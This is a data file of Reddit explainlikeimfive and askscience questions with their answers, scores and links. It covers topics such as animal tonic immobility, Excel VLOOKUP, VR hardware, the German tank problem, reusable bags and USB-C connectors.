spaces(or held) is very calming to animals. So it may be them calming down since holding them has that effect. I trained baby chickens in a class and the chicken will be freaking out but if you hold it tightly (but where it can still breath obviously) the chicken will start to fall asleep.", "Stress or startle bradycardia.\nWhen an animal is sufficiently stressed and then restrained (though restraint isn't always necessary) their nervous system can trigger a period of reduced heart-rate and immobility.\nThis is meant to be protective - it minimizes injury, reduces bloodloss, and can confuse the predator into releasing it because it appears dead.\nIt is a major part of the defensive mechanism for young animals who rely on camouflage: it keeps them very still and reduces their respiration rate.\nLike many adaptations though, it is far from perfect, and the reduced heart-rate can sometimes lead to a heart attack. Birds are especially susceptible to this.\nThere is even some tentative scholarship looking at whether it could be the cause of SIDS in human infants.\nSource: Zoobiquity by Natterson-Horowitz and Bowers", "Tonic immobility, the same reason as women often don't struggle when raped even when that would be safe and sensible.\n  \nIt is part of the fight/flight/freeze response involving the hypothalamus - pituitary and adrenal glands, AKA the HPA axis.\n\nI wonder if this is what happens when *some* tantruming children can be calmed by holding them tightly. (Others will go completely berserk and be traumatised)", "There are at least three degrees of \"wild\". There is \"domesticated\" (ok with humans), \"feral\" (once domesticated, now so-so with humans) and \"wild\" (don't touch, kids).  YMMV by species, situation and individual. \n\nI know these differences from experience with cats. Domestics will generally calm down if you hold them.  You can certainly try to hold the other two categories to test your theory, but I don't recommend it. \n\nMay or may not apply to rabbits. After once being attacked by a game hen, I don't want to test your theory with those either.\n\nNote behavior differences may be because some are prey and others are predators, although cuddling non-domesticated horses is probably a bad idea as well.\n\nAnyone have experience cuddling wild rabbits they would like to share?\n ", "My domesticated cat doesn't like being held.  Popular opinion says that he is hyper sensitive towards touching.  So he hates being held.  I am interested in this subject because it differs greatly from my home life situation with our cat.  My guess is that \"wild\" animals like chickens or rabbits may succumb to their fate - for example, they'll cower down and be submissive when they know they're being controlled and there's no escape.  This is remarkable because you would think the opposite would be true, but in your case it isn't.  \n\nNeato frito.", "There's also an anxiety factor that comes into play. You stated that you held the animals snugly. When you apply pressure to a an animal and even humans with anxiety issues it sometimes provides a feeling of safety even if it's a false feeling.\n\nThat being said google Temple Grandin. She is an autistic woman who has revolutionized the cattle industry and has created machines for humans and cattle that apply pressure. \n\nShe grew up on a farm where cattle were brought into a device that applied pressure in order to keep them from squirming when being milked or given shots etc. One day she tried the machine out herself and found that it provided a great relief to her anxiety and hyper awareness. She has traveled the country doing seminars regarding this, her life story, and sharing her findings to help make cattle farms a less stressful place for the animal. ", "Try holding a cat that doesn't want to be held...", "Most animals, and their reaction to predators or threats can be divided into two categories; fight and flight. \n\nFight animals are equipped with weapons such as claws, sharp teeth, venom, tusks, antlers, etc. or inbuilt defense mechanisms, such as hard shells which they use to defend against threats. Fight animals such as deers may still run from a fight, but if cornered will defend themselves. \n\nFlight animals have only one real defense, and that is to run. Once they are caught and see that they have no real chance of escape they will often play dead, or stay as still as possible hoping that the predator will lose interest in them, as many predators prefer to chase and catch their prey, or to eat live prey.\n\nThe rabbits and chickens think you are a threat, and that is why once they are caught they will stay still, in the hopes that you will decide not to harm them. By doing this repeatedly they may learn that you don't wish to harm them and gradually become more domesticated. \n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.wikihow.com/Put-Your-Rabbit-in-a-Trance", "http://en.wikipedia.org/wiki/Fainting_goat"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["http://i.imgur.com/mUeN1KW.jpg"], ["http://i.imgur.com/cXXhcbc.gif"], ["http://en.wikipedia.org/wiki/Learned_helplessness"], [], [], ["http://wildinstincts.wordpress.com/2012/09/09/capture-myopathy/"], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "4e9z83", "title": "why is it so hard for some people to rub their stomach and pat their head at the same time?", "selftext": "I know there are many variation of this, but this is the most common and well known, and I would assume that the answer to this would work for the others.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4e9z83/eli5why_is_it_so_hard_for_some_people_to_rub/", "answers": {"a_id": ["d1yaqtm"], "score": [20], "text": ["It's a limb independence issue. Your limbs want to work in tandem with each other to do tasks (like walking), so there is some extra training needed to get them to do different things. Most of these things you pick up as a toddler and never notice that they were difficult for you. A good example of something that adults struggle with is drumming. While there are certainly people that can pick it up quickly, a lot of people have trouble keeping the arms at different beats while using the kick drum at another. That is of course a task very high on the limb independent scale, but hopefully it'll help you understand. \n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1ab0zs", "title": "how does the =vlookup formula work in excel?", "selftext": "Hey, I've been trying to digest this for a while in preparation for a iGCSE coming up. I think I've got the hang of everything else but this is abit of a problem. (Sorry if this is the wrong sub for this or violates some rule). Thanks!", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1ab0zs/eli5_how_does_the_vlookup_formula_work_in_excel/", "answers": {"a_id": ["c8vozub"], "score": [4], "text": ["You make a table with the thing you are going to be looking up in the left most column. They have to be ordered smallest to largest or the lookup will give screwy results.   \n  \nUsing the VLOOKUP function, you tell it what value you are looking up in the table,  where the table is, and what column of the table to return from when it finds a match in the leftmost column. If an exact match is not found, the next largest value that is less than lookup_value is returned.     \n  \nFor example, if your table is  (starting in cell A1)  \nA  | 12  | 19  |  \nB  | 15  | 12   |  \nC  | 4   | 33  |   \nD  | 5   | 42 |    \n\nand you do =VLOOKUP(A9,A1:C4,2) and A9 contains \"C\", the value returned will be 4, since 4 is the value in the second column of the table where the row matches \"C\", the value you looked up.  \n   \nFor more info, ask a followup, or use the Excel Help function to read about VLOOKUP. \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "70aw2f", "title": "how does face scanning work with twins?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/70aw2f/eli5_how_does_face_scanning_work_with_twins/", "answers": {"a_id": ["dn1qvo7", "dn1qvo7", "dn1z2a0", "dn2lj2k"], "score": [15, 15, 6, 3], "text": ["There are different methods of \"face scanning,\" but they all rely on nuances in physical appearance. (More advanced methods use the topography of the face and not just a comparison between images.) They can't distinguish between two different people that look essentially the same, anymore than a lock distinguishes between two people that have subtly different copies of a key.\n\nThe accuracy of particular methods, and products that implement them, varies. Identical twins also vary in how alike they are--the environment does have an influence on how you look, not just your genes. But it's safe to say there's a significant potential for a scanner to fail to distinguish between identical twins.\n\nIdeally, biometric markers should never be relied upon for authentication, because you can't change them if they are compromised. They should be more like a user name than a password. But they can strengthen security if implemented alongside a secure authentication method, such as passwords, a key card, etc.", "There are different methods of \"face scanning,\" but they all rely on nuances in physical appearance. (More advanced methods use the topography of the face and not just a comparison between images.) They can't distinguish between two different people that look essentially the same, anymore than a lock distinguishes between two people that have subtly different copies of a key.\n\nThe accuracy of particular methods, and products that implement them, varies. Identical twins also vary in how alike they are--the environment does have an influence on how you look, not just your genes. But it's safe to say there's a significant potential for a scanner to fail to distinguish between identical twins.\n\nIdeally, biometric markers should never be relied upon for authentication, because you can't change them if they are compromised. They should be more like a user name than a password. But they can strengthen security if implemented alongside a secure authentication method, such as passwords, a key card, etc.", "Over time things environmental factors have their affects on twins bodies. Reference: [_URL_0_](_URL_0_)", "I dated twins twice. (Twice, I dated a single twin from two unrelated sets of twins.) They don't look *the same* they look **similar**."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://giph.io/v.php?pm=PP9J"], []]}
{"q_id": "1p2zah", "title": "if for, say, the first 20 years of your life, you don't learn an ability (reading, speaking, walking, social interaction...) would you lose the capacity to learn that ability forever?", "selftext": "Or would you learn but at a slower pace and with worse results? ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1p2zah/eli5_if_for_say_the_first_20_years_of_your_life/", "answers": {"a_id": ["ccy7c22"], "score": [5], "text": ["Some things are much more effective when learned earlier in life.  Languages are significantly easier to learn before the age of 12 or so and the same hold true (to varying degrees) for anything that has hardwired parts of your brain.  Walking is general premotor cortex, so you'd probably be able to learn how to walk find later in life, and a good chunk of social interaction is baked in, so you'd be able to pick up on the concepts (you'd still have to learn the exact customs of various social settings, same as you already do now).\n\nIt's pretty much impossible (barring brain injury or defect) to bar yourself forever from learning any skill forever, it just may take more work/time later on in life."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "570aeg", "title": "how come your comparatively weak smartphone can be used as a vr device, but your desktop computer needs a powerful or specialized video card to be considered \"vr ready\"?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/570aeg/eli5_how_come_your_comparatively_weak_smartphone/", "answers": {"a_id": ["d8nvzfk", "d8ny80t", "d8o0pgc", "d8o2khp"], "score": [7, 5, 17, 2], "text": ["So, there's a few factors to consider here.\n\nFirst off is that the standard for \"vr ready\" can be a bit excessive, there are quite a few vr games that are perfectly fine with lower class hardware; the standard is set high intentionally to ensure a good experience. \n\nThis is important, because while in a regular game some performance hiccups can be annoying, if it's not silky smooth in vr it can make some people feel nauseated.\n\nOn the phone side of things, the answer is really just that these are pretty simple vr experiences compared to what's possible with a high end desktop, so they just don't need to be very powerful to get a smooth experience.\n", "An Oculus Rift has a 2160x1200 screen resolution running at 90 frames per second.  \n\nAs a comparison, running a 1920x1080p screen at 60 fps is a good benchmark for a gaming computer.\n\nImportantly, it has to stay consistently at 90 or above.  VR can be rough on motion sickness to begin with and if FPS dips it's gonna be instant puke.\n\nAlso, most of the VR experiences on phones are either very simple and low quality, or just videos set on two cameras so the phone doesn't have to do any heavy-duty rendering.\n\nAny computer with a non-garbage video card could run a 3d video on a VR headset, but playing a high-end game is completely different.", "Game developer here who has made VR games. Mobile VR is actually pretty bad. It has terrible head motion - >  frame latency (16 milliseconds or higher) and frame rate which translates into more motion sickness for many people. Since the platform is so terrible the visual fidelity of mobile VR games are really small. In my experience a mobile VR game cannot have more than 25,000 polygons and no more than 25-100 objects on screen. That isn't really compelling. \n\nModern PC graphics cards have been designed with VR in mind due to partnerships with Oculus and Vive. The head motion - >  frame latency is much lower due to specialized and optimized hardware. A PC VR game can easily render 25 million polygons on screen. A PC graphics card can render at 90 frames a second making you much less likely to be motion sick. ", "Consider what is possible/the norm for mobile gaming, and then consider what is possible/the normal for desktop gaming with a GTX 1070 GPU. It is essentially the same difference. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "1ryiqi", "title": "the german tank problem", "selftext": "[Wikipedia's entry](_URL_0_) turns into word spaghetti way too quickly. Time to put on my toddler pants and ask ELI5.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1ryiqi/eli5_the_german_tank_problem/", "answers": {"a_id": ["cds6594", "cds8xyq"], "score": [20, 4], "text": ["The Germans put serials numbers on every tank,part,wheel,engine etc. The numbers were always sequential, ie 1 ,2 ,3 ,4 ...etc. \n\nThe total number of production tanks was able to be estimated based on what numbers they saw in destroyed tanks. The Allies didn't need to see every tank or serial number, only a few. The basic idea is this: If there are an unknown number of tanks, and you find serial number 10, you know they have at least 10. If you find serial number 100, you know they have at least 100.\n\nIf you find serial numbers 1, 5, 9, 12, 15, you would expect the total number of tanks to be low, because if their were 1000 tanks, you should have randomly come across numbers like 153, 576 or 910.\n\nIf you find serial numbers like 92, 549, 1436, 4901, you would expect the total number of tanks to be much higher (say 10,000?).\n\nThen they added a bunch of math and statistics to get accurate solution.\n\nedit: You can also read _URL_0_ It explains the math how it is used to predict the life span of the human race.(which may or not be right)", "There are three basic sections: the beginning, the middle and the end. The first 5% make up the beginning and the end is made up of the last 5%.  That leaves 90% as the middle.  There is a much higher chance to pull out a number from the middle than from the other two.  \n\nIf all your cookies are numbered in order and you find one that is number 5, there is a greater chance that 5 is in the middle than at the front or end of the list. So you would reason that there are 10 cookies.  By putting random numbers on cookies it makes it much harder to estimate the number of cookies that you have. "]}, "title_urls": [], "selftext_urls": ["http://en.wikipedia.org/wiki/German_tank_problem"], "answers_urls": [["http://what-if.xkcd.com/65/"], []]}
{"q_id": "1jzadz", "title": "What causes a bunch of debris around a newly formed planet to either become a moon or a ring?", "selftext": "Or is the premise of that question fundamentally wrong? ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1jzadz/what_causes_a_bunch_of_debris_around_a_newly/", "answers": {"a_id": ["cbjslxd", "cbjsvcl"], "score": [8, 2], "text": ["No, not at all this is a good question to ask in Astronomy.\n\nBasically, it all comes down to the distance the object is from the host planet. There is a distance called the [Roche limit](_URL_0_) that deals with the masses of the two bodies and the distance between them. It all has to do with [tidal forces](_URL_1_).\n\nIf the object is outside of this distance, the internal gravity that the object has is sufficient enough to hold itself together against the tidal forces of the planet and will continue to orbit it depending on initial parameters.\n\nIf the object is within the Roche distance, the tidal forces are so strong that it literally is sheared and pulled apart until you end up with rings very similar to the ones we see around Saturn for example.", "Well I would suggest watching [this on moons](_URL_0_) and [this on rings](_URL_1_).  Basically debris isn't just surrounding a planet when it forms, if it was it probably would have been pulled in during the formation.  The early stages of solar systems are very chaotic with many planet-like objects forming and smashing into each other creating the debris."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Roche_limit", "http://en.wikipedia.org/wiki/Tidal_force"], ["http://www.youtube.com/watch?v=Y5j99HQZS14", "http://www.youtube.com/watch?v=V2C66WrVyjM"]]}
{"q_id": "1j3k6z", "title": "Has the popularity of reusable bags and cups decreased the consumption of plastic/paper bags and cups? Are we actually saving fuel and resources?", "selftext": "I feel like everywhere I go I see reusable grocery bags and plastic tumblers and bottles. Has the production of all these things meant to be reusuable made any dent in the use of disposable products? Is there any net energy or resources savings?\n\n**Edit to add:** I support the use of these things, and felt compelled to note that because there are some people ITT that seem to think this question dismisses the use of them. I am just wondering about the actual economics and enviromental impact of people constantly buying and re-buying reusable bags and bottles.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1j3k6z/has_the_popularity_of_reusable_bags_and_cups/", "answers": {"a_id": ["cbatpem", "cbauvyt", "cbavfw4", "cbawb8y", "cbawty5", "cbaxhxs", "cbayczv", "cbb2jwa"], "score": [33, 9, 2, 12, 3, 2, 6, 2], "text": ["Bonus question: At work, they took away the (recycled paper) coffee cups and made everybody use their own coffee mugs. This has resulted in everybody washing their mugs in the sink and using tons of paper towels. Which is worse?", "I know it's a comedy site, but [this Cracked article](_URL_0_) discusses the various reasons why reusable grocery bags are actually harming the environment, and it links several legitimate sources to back up all of its claims.", "I have a strong suspicion that plastic shopping bags were never really that much of an environmental issue anyway. Especially with the newer super-thin ones. I'm not sure you have those in the US though.\n\nAnyway, look at the average shopping bag. A plastic bag of pasta has many times more plastic in it than the shopping bag itself. A single plastic bottle probably has 10 times more plastic in it than the bag.\n\nThey're a red herring that everybody concentrates on because they are highly visible. The worst they do is look ugly when the end up in the environment.", "According to [reporting done by Hyder](_URL_0_) in Australia, yes there has been a decline in used of HDPE plastic bags after the introduction of reusable bags. The [life cycle assessment](_URL_1_) carried out on various bag types shows that reusable bags have a lower a lower overall life impact. ", "Not quite an answer to your question but very relevant to the reduction in plastic bag use. Wales has implemented a 5p charge on bags and that has reduced their use by 96 per cent in some supermarket chains, with high street shops reporting reduction of between 68 per cent to 96 per cent.\n\n_URL_0_", "I do not know where you live but Loblaws in Canada donates the money they earn from plastic bags to charity. \n\nAccording to them they prevented 5 billion plastic bags from ending up in land fills.\n\nThey also donate 4 cents of the 5 cents per bag to WWF. The other cent is for the cost of the bag. They have donated about 5 million.\n\n_URL_0_\n\nThis only covers part of your question but hopefully its useful.", "According to [this](_URL_0_) study, **no**.  It claims a reusable bag must be used 171 times just to break even.  ALso, many of those never get washed and harmful bacteria can get transferred to your fresh groceries after only a few uses.\n\n[This](_URL_1_) study here tested several reusable bags and found a median 'break even' point of 314 times.  That study even claims that ban on plastic bags actually harm the environment.\n\n > For example, a shopper would need to reuse the same cotton tote 350 times before it caused less fresh water aquatic ecotoxicity than all of the plastic bags that it would replace over this period. Given the improbability that the same cotton tote would last that long (its expected life is 52 reuses), in most cases plastic bags will have less environmental impact.\n\n > Why is this? Because the environmental impacts of supermarket bags are dominated by the energy and raw materials needed to manufacture them. Plastic bags are inexpensive because relatively small amounts of energy and raw materials are needed to make them. These same attributes that make plastic bags affordable and light also make them easier on the environment than alternatives like paper bags and reusable cotton totes.\n\n\nI really don't know though, perhaps an expert can chip in.", "While reusable plastic bags might use less energy than single-use bags over their lifecycle, that doesn't mean that we're necessarily pulling fossil fuels out of the ground at a slower rate.  The precursors to most plastics are from natural gas liquids (NGLs) which are hydrocarbon molecules slightly less dense than crude oil, but heavier than natural gas.  These liquids come up along with both natural gas and oil drilling operations, and are separated at refineries and specialized gas processing facilities.  \n\nWhen the price of ethylene (a common plastic precursor) falls due to low demand for plastics (let's say we ban single-use bags entirely), drillers don't stop extracting ethane (the precursor to ethylene) - it comes out anyway as a byproduct of the NG/oil they are really after.  If the price of ethylene/ethane is low enough that it's not economical for the refiner to process it into petrochemical feedstocks, it is simply burned in the normal natural gas stream or perhaps flared at the processing facility.  \n\nIn short, the materials that make plastics are often byproducts of the oil and gas industry, and they come out of the ground regardless of whether we cut demand for plastic bags.\n\nThere is a second-order economic effect, of course, in which reduced demand for plastic precursors puts downward pressure on the prices of NGLs and related petrochemicals.  This might in turn reduce the amount of investment in NGL drilling rigs, which might in the long term conserve NGLs in the ground.  However, it could go the other way too - low prices for NGLs might open up new markets to NGL use, and we could rebound into even higher NGL extraction and consumption."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.cracked.com/article_19123_6-socially-conscious-actions-that-only-look-like-they-help_p2.html"], [], ["http://www.scew.gov.au/sites/www.scew.gov.au/files/resources/0c513e54-d968-ac04-758b-3b7613af0d07/files/ps-pbags-hyder-consulting-bag-use-2006-07-consumption-200805.pdf", "http://www.sustainability.vic.gov.au/resources/documents/lca_shopping_bags_full_report%5B2%5D.pdf"], ["http://www.guardian.co.uk/environment/2012/jul/04/plastic-bag-use-5p-charge"], ["http://www.loblaw.ca/English/Media-Centre/news-releases/news-release-details/2013/Loblaw-customers-use-five-billion-fewer-plastic-shopping-bags/default.aspx"], ["http://www.opb.org/news/blog/ecotrope/reusable-bags-only-superior-to-plastic-if-you-reuse-them-a-lot/", "http://www.justfactsdaily.com/bans-on-plastic-bags-harm-the-environment"], []]}
{"q_id": "7so764", "title": "Is there a technical distinction between a jungle and a forest?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/7so764/is_there_a_technical_distinction_between_a_jungle/", "answers": {"a_id": ["dt6cd73", "dt6fqje", "dt6hhmq", "dt6lwci", "dt731pu", "dt7dplo", "dt7t8qd"], "score": [357, 198, 4447, 7, 18, 8, 3], "text": ["Usually, Jungle implies tropical with a high level of rain.  This puts jungle and \"tropical rain forest\" as about the same.  Jungle also implies a dense canopy and a large amount of tree dwelling life.  My area, with 60 plus inches of rain a year can be described as a \"temperate rain forest\" with the canopy produced by both trees and vines.  Both jungle and rain forest have their own distinct environment with the high level of moisture recycling from the forest, back to the forest.", "Could argue that jungle is just a regional colloquialism for forest without scientific distinction. Comes from Sanskrit basically for uncultivated land so became popular word for forest in the Indian subcontinent, where forests tend to be tropical and wet. Use of the word became more prevalent globally in the 17th century with popularization of colonial authors like Kipling and Forster. ", "Jungle is more of a literary term than a scientific one.  When talking about wooded biomes, most ecologists use a combination of climatic and vegetative descriptors.  Depending on the classification system, there are tropical rainforests (which you might think of as jungle), temperate rainforests, deciduous forests, boreal forests, mangrove forests, and probably a few other minor ones.  The wikipedia page for [Biome](_URL_0_) actually has a really good overview of the different classification systems.  So a forest would be any wooded area, and a tropical rainforest would be a forest that grows in the tropics, has lots of precipitation, and dense vegetation.  I suppose that the reason we don't use jungle so much anymore is because it doesn't differentiate well between different tropical forests, and it has different connotations such as \"uncivilized\" or just \"dense vegetation.\"  Tropical rainforest is more precise.\n\n", "Historically speaking forests do not have to be woodland. They refer to enclosed tracts of land for keeping game like deer, in fact they can have an awful lot more \"clearing\" than woodland. It is only relatively recently the term has come to be indistinguishable from woodland. \n\nI believe other posters have dealt with the term jungle better than I can. ", "Technical, maybe. But isn't this really why etymology exists? I would wager if you said the world \"jungle\" to most native English speakers, they would think of a tropical forest, damp, humid, with trees consisting of wide leaves, light green foliage in general, several species of reptiles and amphibians, vines, etc. Think Vietnam or Brazil. If you say \"forest\", think more deciduous, temperate forests with conifers, foxes, grizzly bears, wolves, rabbits, deer, etc. Think U.S Pacific Northwest or Europe. I imagine you already had my answer in mind with the nature and allusion of your question, but in short, I think you think like most English speakers, and so even though the differences are more interpretation than technical, language is meant for effective communication than technical science, so the differentiation I believe would be important and correct ", "Also it has to do where the carbon is held the most in the Carbon Cycle. In the jungles the carbon is held in the actual organisms, the plants above land. In the forests the carbon is located mostly in the soil. That is why it is particularly dangerous to cut down the trees in the rainforest (jungle) because we are extracting the Carbon from the cycle and not giving it an opportunity to recuperate. ", "When I took a tropical ecology course the term jungle was applied to a section of rainorest that was progressively being regrown or colonized into full fledged rainforest. These areas would have lower canopies due to lack of older taller trees, and the increased light penetrating to the lower levels would support much denser vegetation at those lower levels, making jungles effectively much more difficult to traverse. \nOlder growth with high canopy and less light reaching the ground is often more sparsely vegetated open forest. This is where things like peccaries like to hang out. Jungle portions of a rainforest have younger or shorter trees. This is where there are plenty of vines to grab onto to gain your footing, but you should look before touching anything as it might poke you or bite you."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://en.wikipedia.org/wiki/Biome"], [], [], [], []]}
{"q_id": "a0zip7", "title": "what are the signs that someone has a substance abuse problem?", "selftext": "What are the telltale signs of someone who's addicted to something? Say, a substance like energy drinks.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a0zip7/eli5_what_are_the_signs_that_someone_has_a/", "answers": {"a_id": ["ealm2fn"], "score": [2], "text": ["Usually if they have to have the substance to do most things or they spend an inordinate amount of time trying to obtain said substance"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "byblwt", "title": "what is \"catastrophe theory\"?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/byblwt/eli5_what_is_catastrophe_theory/", "answers": {"a_id": ["eqfvlmt"], "score": [17], "text": ["Think about how things change.  Something like a plant grows a little tiny bit every day so that you don't notice the change at all.  On the other hand, when a building falls over this change is dramatic.  Catastrophe Theory deals with this second kind of change, when something changes from one state to another very different state.  \n\n\nSomewhat more mathematically, various phenomena can be modeled using (certain kinds of) equations.  These equations have numbers in them that define the solutions.  Some equations, however, have solutions that are dramatically different depending on the numbers used in the equation.   Catastrophe theory deals with studying those equations and how the solutions change."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1bl4zc", "title": "the aristocrats joke", "selftext": "Please explain the joke as If I am actually a five years old please.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1bl4zc/elif_the_aristocrats_joke/", "answers": {"a_id": ["c97n71w", "c97ntc0", "c97nzk6", "c97ubc2"], "score": [19, 35, 10, 20], "text": ["To understand the joke, you need to understand the meaning of the word aristocrat.  An aristocrat is a member of of an aristocracy - basically this means all the rich and elite people in a society are the ones who get to govern.  These people, because they are so rich and \"elite\" would stereotypically be really refined and sophisticated, wear expensive clothes, drink expensive wine, eat expensive food, and don't do things that are vulgar or something common folk would do.\n\nThe aristocrats joke is funny because the act, as described by whoever is telling the joke, is completely off the wall disgusting.  The worse the act is the better, incest, pooping on the stage, eating your own vomit all the terrible terrible crap you can think of... absolutely *nothing* a real \"aristocrat\" would do.\n\nThen the punchline, that the act is called \"The Aristocrats!\" ~~doesn't fit the raunchy act that you've just described, so thats why its funny.~~ Quoting /u/RandomExcess who is being downvoted below me, but more correct:\n\nThe act is tolerated because it IS the aristocrats. Aristocrats make the rules and by extension everything an aristocrat does is OK fine. So what would be disgusting behavior for normal people is tolerated from the aristocrats ", "The aristocrats joke is considered a popular one because it is very open ended and gives the person telling it a lot of room to improvise. It starts off with 1) a family showing a talent agent their act, then transitions into 2) the family doing the act (which is improvised by the comedian and is supposed to be as sick and depraved as possible), then ends with 3) the family saying \"The Aristocrats!\" when the shocked agent asks the name of the act.\n\nThe humor behind it isn't the punchline, but the outlandishness of the middle part.\n\nIt is considered sort of a secret handshake amongst comedians but I think it's important to note that all the famous comedians like Steven Martin, Chevy Chase, Dan Akroyd, and so on, all had their own versions of the joke. \n\nListen to a few renditions of it, then try doing it yourself and you'll quickly come to find that it's not an easy joke to make funny. The first time I heard it was from Gilbert Godfrey and I was laughing so hard. \n\nHope this helps.\n\nEDIT: Read the comments under mine. Some really good additional info that I didn't know about.", "It's also an example of an anti-joke. It has this super-long build up, and you're expecting this huge payoff, and all you get is the little ironic Aristocrats! at the end. Kind of like the jokes on you for listening to that whole thing, getting grossed out, and then being let down with the punchline.", "When you're older, sweetie. It's a joke only for grown-ups."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "np04u", "title": "Why can't we smell the sewer from the sink/shower drain?", "selftext": "Is the smell just not strong enough to travel far enough up, or what?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/np04u/why_cant_we_smell_the_sewer_from_the_sinkshower/", "answers": {"a_id": ["c3asy5s", "c3asy5s"], "score": [18, 18], "text": ["A drain trap (\"p trap\") holds water from the drain in a small reservoir.  This blocks sewer gasses from getting past.  See the attached video for a full explanation.\n\nShould the water in the p trap evaporate, or should the trap leak, you will certainly smell it.\n\n_URL_0_", "A drain trap (\"p trap\") holds water from the drain in a small reservoir.  This blocks sewer gasses from getting past.  See the attached video for a full explanation.\n\nShould the water in the p trap evaporate, or should the trap leak, you will certainly smell it.\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://videos.howstuffworks.com/science-channel/37271-deconstruction-building-a-house-the-p-trap-video.htm"], ["http://videos.howstuffworks.com/science-channel/37271-deconstruction-building-a-house-the-p-trap-video.htm"]]}
{"q_id": "7bksmy", "title": "how does the text summarizing alghorithm work?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7bksmy/eli5_how_does_the_text_summarizing_alghorithm_work/", "answers": {"a_id": ["dpj6jhb"], "score": [68], "text": ["I do text analysis/extraction for a living so this is my thing (I've only been doing it for a year, so I'm no expert). I skimmed the algorithm posted by rift95 (he deleted  his comment so here is the link he posted _URL_0_) and will try to explain it (assuming I understand it correctly).\n\nBasically you rank each sentence in a paragraph based on some factors (will explain later) and the sentence with the highest score is the best summary for that paragraph. Do that for each paragraph, and you have a list of best summary sentences. Then you make a summary paragraph by chaining those summary sentences together.\n\nThe ranking of each sentence is determined by how many words in that sentence appear in other sentences. (i.e. The score of a sentences is the sum of all its intersection). edit: Also a good implementation would give more important words get more points (e.g. prepositions don't give many points, keywords like location names and people names get more points).\n\nHere's an example paragraph I made:\n\nWe bring you this new interesting story. \nThis is my favorite news because we talk about the President.\nThis Tuesday President Trump went to China. \nWhat will Trump do next?\n\nNotice that not many words in the first sentence appear in other sentences in the paragraph. This means that it will get a low score and be a bad candidate for a summary sentence. The third sentence has words like \"Trump\" and \"President\" which not only appear in other sentences, but are also proper nouns so they would be given more points.\n\nI need to go to a meeting so I'm cutting this explanation short. Hope someone found this interesting or helpful!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://gist.githubusercontent.com/shlomibabluki/5473521/raw/82485819f0dff0da1c68be8f1faef935b7bffa3f/summary_tool.py"]]}
{"q_id": "3p41sy", "title": "what is happening when you wake up from a bad/intense dream?", "selftext": "Example, a dream where you are falling at a rapid speed into the ocean, but you wake up as you hit the water. \n\nAlso, something disturbing is happening, but after a while you wake up", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3p41sy/eli5_what_is_happening_when_you_wake_up_from_a/", "answers": {"a_id": ["cw3b15u"], "score": [2], "text": ["Your brain is interpreting your dream as reality and is jolting you awake to \"save\" you from imminent danger, which isn't all that imminent.\n\nThink of it like a precautionary measure, just like you would react when conscious."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "a6ivqt", "title": "how are lightning and usb-c connectors able to work in both orientations?", "selftext": "Besides the physical symmetry, of course. Other plugs like USB-A prevent you from using the wrong orientation because they wouldn't work that way anyway. What enables USB-C and Lightning to do so?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a6ivqt/eli5_how_are_lightning_and_usbc_connectors_able/", "answers": {"a_id": ["ebv72kh"], "score": [5], "text": ["No, it's really the physical symmetry.\n\nUSB-C was designed to be symmetric because the Lightning solution (which was non-standard) was very well received by users.  It takes twice as many connectors, more parts, more complexity, more gold; but yet users find it's very worth it not to have to figure out which side of the connector is up.\n\nThere are other things that work this way, like car keys, and it's pretty well known in human factors circles as \"the right way to do it\"."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
